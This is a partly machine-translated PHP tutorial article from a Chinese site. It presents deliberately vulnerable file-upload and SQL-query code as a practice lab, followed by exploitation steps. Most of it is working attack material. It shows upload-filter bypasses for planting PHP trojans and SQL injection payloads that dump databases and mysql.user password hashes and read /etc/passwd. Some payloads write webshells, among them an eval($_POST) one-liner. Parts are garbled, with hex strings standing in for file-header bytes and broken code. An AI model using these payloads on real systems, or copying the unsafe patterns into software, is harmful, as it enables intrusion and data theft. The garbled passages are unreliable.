Home >Backend Development >PHP Tutorial >Very comprehensive! Summary of common PHP vulnerability codes!
This article brings you relevant knowledge about PHP vulnerabilities. It mainly summarizes and introduces the common vulnerability codes of PHP. It is very comprehensive and detailed. Let’s take a look at it together. I hope it will be helpful to friends who need it. help.
Vulnerability summary
PHP file upload vulnerability
Verification only MIME type: The uploaded MIME type is verified in the code. The bypass method is to use Burp to capture the packet and change the Content-Type: application/php in the uploaded sentence Xiaoma*.php to Content-Type: image. /png and then upload it.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { // 判断 content-type 的类型,如果是image/png则通过 if($_FILES['upload_file']['type'] == 'image/png') { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; if (move_uploaded_file($temp_file, $img_path)) echo "上传完成."; else echo "上传出错."; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Bypassing the whitelist: The whitelist allows uploading of certain types of files. This method is safer. Capture the packet and upload the php backdoor, and then change the file name Change it to .jpg and the upload will be successful, but sometimes the uploaded file will be invalid and cannot be obtained from the Shell.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $allow_ext = array(".jpg",".png",".jpeg"); $file_name = trim($_FILES['upload_file']['name']); // 取出文件名 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA $file_ext = strtolower($file_ext); // 转换为小写 $file_ext = trim($file_ext); // 首尾去空 if(in_array($file_ext, $allow_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) echo "上传完成: {$img_path} <br>"; else echo "上传失败 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Whitelist verification file header: This level mainly allows jpg/png /gif file transmission, and the 2-byte content of the file header is detected in the code, we only need to modify the first two bytes of the file to the image format to bypass it.
Usually JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 Taking JPEG as an example, we add two 11s at the beginning of the sentence Trojan, which is binary 3131, and then modify .php to .jpg, use Brup to capture the packet and send it to the Repeater module, change the HEX code 3131 to FFD8 points and then successfully upload the JPG.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { $file = fopen($filename, "rb"); $bin = fread($file, 2); fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode) { case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)) echo "上传完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Bypass detection file header: This method is through The starting position of the file header is matched to determine whether to upload. We can bypass it by appending a legal file header in front of the uploaded file. For example, add GIF89a1c54a2ccadef45a7573e3649bdfd6f57 at the beginning of the file. To complete the bypass, or if it is \xffxd8\xff we need to write ���e2d0e752df2c971bca1fcef6e50119b4 at the beginning of the file. Then, select the special characters and right-click CONVERT->URL->URL -Decode and release after encoding.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { $fh = fopen($filename, "rb"); if($fh) { $bytes = fread($fh,6); fclose($fh); if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){ return "image/jpeg"; } if($bytes == "\x89PNG\x0d\x0a"){ return "image/png"; } if($bytes == "GIF87a" or $bytes == "GIF89a"){ return "image/gif"; } } return 'unknown'; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Image detection bypass: By using the image function, detect whether the file is an image. If you need to upload, you need to maintain the integrity of the image, so you cannot append it To bypass the file header, you need to create a picture Trojan to upload.
To bypass this upload method, we can merge the picture and the FIG file together copy /b pic.gif shell.php 1.php upload You can bypass.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { // 检查是否为图像 if(@getimagesize($filename)) { if(@imagecreatefromgif($filename)){ return "image/gif"; } if(@imagecreatefrompng($filename)){ return "image/png"; } if(@imagecreatefromjpeg($filename)){ return "image/jpeg"; } } return 'unknown'; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Upload condition competition: Here is the condition competition. First upload the file to the server, and then determine whether the file suffix is in the whitelist. If so, rename it. Otherwise, delete it, so we can upload 1.php. We only need to access it before it is deleted. We can use burp's intruder module to continuously upload, and then we can continuously access and refresh the address.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)) { if(in_array($file_ext, $ext_arr)) { $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); echo "上传完成. <br>"; }else { unlink($upload_file); echo "上传失败. <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
PHP Injection vulnerability
Basic query statement
To build a SQL injection drill environment, first ensure that the MySQL version is MySQL 5.7 or above, and import the database script below to automatically create the corresponding Database file.
drop database if exists lyshark; create database lyshark; use lyshark; drop table if exists local_user; create table local_user( id int(10) primary key not null, username varchar(100) not null, password varchar(100) not null, usremail varchar(100) not null, usertype int(1) default 0 ); alert table local_user character set utf8; insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"), (2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"), (4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"), (6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"), (8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"), (10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");
Then install the environment of PHP7.0 or above, create the index.php file, write the following test code, please modify the database password yourself.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) $row = mysqli_fetch_array($query); } } ?> <body> <table border="1"> <tr> <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th> </tr> <tr> <td><?php echo $row['id']; ?></td> <td><?php echo $row['username']; ?></td> <td><?php echo $row['password']; ?></td> <td><?php echo $row['usremail']; ?></td> <td><?php echo $row['usertype']; ?></td> </tr> </table><br> <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?> </body> </html>
Union Number of query fields: Union can be used for one or more SELECT result sets, but it has a condition, that is, the two select query statements must have the same columns before they can be executed. Using this feature, we can perform comparative queries. , that is to say, when the column of our union select is the same as the column it queries, the page returns normally.
First of all, we guess that when the current number of fields is 4, the page does not return, which means that the number of table fields must be It is greater than 4, then add a field, and the page displays normally when querying 1,2,3,4,5, indicating that the table structure has 5 fields.
index.php?id=1' and 1=0 union select 1,2,3,4 --+ index.php?id=1' and 1=0 union select 1,2,3,4,5 --+ index.php?id=1' and 1=0 union select null,null,null,null,null --+
Order By Query the number of fields: In SQL The statement is to sort the specified columns of the result set. For example, if we want the result set to be sorted by the first column, order by 1, sort by the second column, order by 2, and so on. According to this principle, we can judge the number of fields. If When we sort by column 1, the database will return normally, but when we sort by column 100, because the 100th column does not exist in the database, an error is reported or cannot be displayed normally.
First we guess that the database has 6 field, trying to sort based on row 6 and found that the data cannot be displayed, indicating that it is less than 6, we continue to use 5 to test, and the result is returned at this time.
index.php?id=1' and 1 order by 6 --+ index.php?id=1' and 1 order by 5 --+
Most programs will only call the first row of the database query A statement is queried and then returned. If the data we want to see is in the second statement, if we want to see the data we want, there are two ways. The first is to make the first data return false, and the second is to make the first data return false. The second is to directly return the data we want through sql statements.
The first is to make the result of the first query always false, by using and 0, or through the limit statement, limit in mysql is used for paging, through which we can get the data we want from the queried data.
index.php?id=1' and 0 union select null,null,null,null,null --+ index.php?id=1' and 0 union select null,version(),null,null,null --+ index.php?id=1' union select null,null,null,null,null limit 1,1 --+ index.php?id=1' union select null,version(),null,null,null limit 1,1 --+
Check all database names:MySQL puts all table data into information_schema by default .schemata is stored in the table. We can query the data in this table to find out the names of all databases in the current system. By controlling the parameters in limit, all databases can be exposed.
index.php?id=1' and 0 union select 1,1,database(),1,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.
# 通过 limit 限定条件每次只输出一个表名称 index.php?id=1' and 0 union select 1,2,3,4,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 --+ # 通过 concat 函数一次性输出所有表 index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='lyshark' --+
查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.
# 查询出lyshark数据库local_user表中的,所有字段 index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns > where table_schema='lyshark' and table_name='local_user' --+ # 每次读取出一个表中字段,使用limit进行遍历 index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns > where table_schema='lyshark' and table_name='local_user' limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns > where table_schema='lyshark' and table_name='local_user' limit 1,1 --+
查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+ index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+ index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.
# ----------------------------------------------------------------------------------- # 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断. index.php?id=1' and 1=1 --+ # 提交and判断注入 index.php?id=1' and 1=0 --+ index.php?id=1%2b1 # 提交加号判断注入 index.php?id=2-1 # 提交减号判断注入 index.php?id=1 and sleep(5) # 延时判断诸如点 # ----------------------------------------------------------------------------------- # 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限. index.php?id=1' and ord(mid(user(),1,1)) = 114 --+ # ----------------------------------------------------------------------------------- # 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了. index.php?id=1' and(select count(*) from mysql.user) > 0 # ----------------------------------------------------------------------------------- # 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释. index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // 5.6以前版本 index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7以后版本 # ----------------------------------------------------------------------------------- # 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限. index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+ index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+ index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+ index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+ # ----------------------------------------------------------------------------------- # 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话 create table shell(cmd text); insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>'); select cmd from shell into outfile('/var/www/html/eval.php'); # ----------------------------------------------------------------------------------- # 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作. index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定文件 index.php?id=1' union select 1,1,@@datadir // 判断数据库目录 index.php?id=1' union select 1,1,@@basedir // 判断安装根路径 index.php?id=1' union select 1,1,@@hostname // 判断主机名 index.php?id=1' union select 1,1,@@version // 判断数据库版本 index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux) index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86) index.php?id=1' union select 1,1,user() // 曝出系统用户 index.php?id=1' union select 1,1,database() // 曝出当前数据库
GET 注入
简单的注入测试: 本关中没有对代码进行任何的过滤.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <?php function getCurrentUrl() { $scheme = $_SERVER['REQUEST_SCHEME']; // 协议 $domain = $_SERVER['HTTP_HOST']; // 域名 $requestUri = $_SERVER['REQUEST_URI']; // 请求参数 $currentUrl = $scheme . "://" . $domain . $requestUri; return urldecode($currentUrl); } ?> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select username,password from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<font size='5'>"; echo "账号: {$row['username']} <br>"; echo "密码: {$row['password']} <br>"; echo "</font>"; echo "后端执行语句: {$sql} <br>"; $URL = getCurrentUrl(); echo "后端URL参数: {$URL} <br>"; } else { echo "后端执行语句: {$sql} <br>"; print_r(mysql_error()); } } } } ?> </body> </html>
SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.
--------------------------------------------------------------------------------- $sql = "select username,password from local_user where id=$id limit 0,1"; http://127.0.0.1/index.php?id=-1 union select 1,version() --+ $sql = "select username,password from local_user where id=($id) limit 0,1"; http://127.0.0.1/index.php?id=-1) union select 1,version() --+ http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+ --------------------------------------------------------------------------------- $sql = "select username,password from local_user where id='$id' limit 0,1"; http://127.0.0.1/index.php?id=-1 union select 1,version() --+ $sql = "select username,password from local_user where id=('$id') limit 0,1"; http://127.0.0.1/index.php?id=-1') union select 1,version() --+ http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+ $sql = "select username,password from local_user where id=(('$id')) limit 0,1"; http://127.0.0.1/index.php?id=-1')) union select 1,version() --+ --------------------------------------------------------------------------------- $id = '"' . $id . "'"; $sql = "select username,password from local_user where id=($id) limit 0,1"; http://127.0.0.1/index.php?id=-1") union select 1,version() --+ http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+
POST 输入框注入:
<!DOCTYPE html> <html> <head> <meta charset="utf8"> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="提交表单" /> </form> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); if(isset($_POST['uname']) && isset($_POST['passwd'])) { $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>"; echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } } } ?> </body> </html>
简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.
# --------------------------------------------------------------------------------------------------------- # SQL语句 $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; # --------------------------------------------------------------------------------------------------------- # 爆出字段数 admin' order by 1 # admin' order by 2 -- admin' and 1 union select 1,2,3 # admin' and 1 union select 1,2 # # 爆出数据库 admin ' and 0 union select null,database() # admin' and 0 union select 1,version() # # 爆出所有表名称(需要注意数据库编码格式) set character_set_database=utf8; set collation_database= utf8_general_ci alter table local_user convert to character set utf8; ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 # ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 # # 爆出表中字段 ' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 # ' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 # # 继续爆出所有的用户名密码 ' union select null,group_concat(username,0x3a,password) from local_user # # --------------------------------------------------------------------------------------------------------- # 双注入-字符型 # 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可 $uname = '"' . $uname . '"'; $passwd = '"' . $passwd . '"'; $sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1"; #payload admin") order by 2 # admin") and 0 union select 1,version() # admin") and 0 union select 1,database() # # --------------------------------------------------------------------------------------------------------- # POST型的-双注入 # $uname = '"' . $uname . '"'; $passwd = '"' . $passwd . '"'; $sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1"; admin" and 0 union select 1,version() #
Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.
建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256)); <!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="Submit" /> </form> <?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { // 获取到用户的Agent客户请求体 $Uagent = $_SERVER['HTTP_USER_AGENT']; // REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的 $IP = $_SERVER['REMOTE_ADDR']; echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>"; echo "您的IP地址是: {$IP} <br>"; $insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')"; mysqli_query($connect,$insert_sql); echo "User_Agent请求头: {$Uagent} <br>"; } } } } ?> </body> </html>
首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.
POST /post.php HTTP/1.1 Host: 192.168.1.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 uname=admin&passwd=123123&submit=Submit
修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.
User-Agent: 1',1,1)# uname=admin&passwd=123123&submit=Submit User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)# uname=admin&passwd=123123&submit=Submit
Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> </head> <body> <form action="" method="post"> 账号: <input type="text" name="uname" value=""/><br> 密码: <input type="password" name="passwd" value=""/> <input type="submit" name="submit" value="Submit" /> </form> <?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $cookee = $_COOKIE['uname']; if($cookee) { $sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1"; $query = mysqli_query($connect,$sql); echo "执行SQL: " . $sql . "<br>"; if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<br> COOKIE 已登录 <br>"; echo "您的账号: " . $row['username'] . "<br>"; echo "您的密码: " . $row['password'] . "<br>"; } } } if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); $cookee = $row['username']; if($row) { setcookie('uname', $cookee, time() + 3600); $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "COOKIE已设置: " . date($format, $timestamp); } } } } ?> </body> </html>
以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.
Cookie: uname=admin' and 0 union select database(),2--+ Cookie: uname=admin' and 0 union select version(),2--+
update-xml注入:
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="提交表单" /> </form> <?php error_reporting(0); header("Content-type: text/html;charset=utf8"); function Check($value) { if(!empty($value)) { // 如果结果不为空,则取出其前十五个字符 18 $value = substr($value,0,15); } // 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1 // 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0 if(get_magic_quotes_gpc()) { // 删除由 addslashes() 函数添加的反斜杠 $value = stripslashes($value); } if(!ctype_digit($value)) { // ctype_digit()判断是不是数字,是数字就返回true,否则返回false // mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。 $value = "'" . mysql_real_escape_string($value) . "."; } else $value = intval($value); return $value; } $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=Check($_POST['uname']); $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { $rows = $row['username']; $udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'"; mysql_query($update); if(mysql_error()) { print_r(mysql_error()); } echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } } } ?> </body> </html>
推荐学习:《PHP视频教程》
The above is the detailed content of Very comprehensive! Summary of common PHP vulnerability codes!. For more information, please follow other related articles on the PHP Chinese website!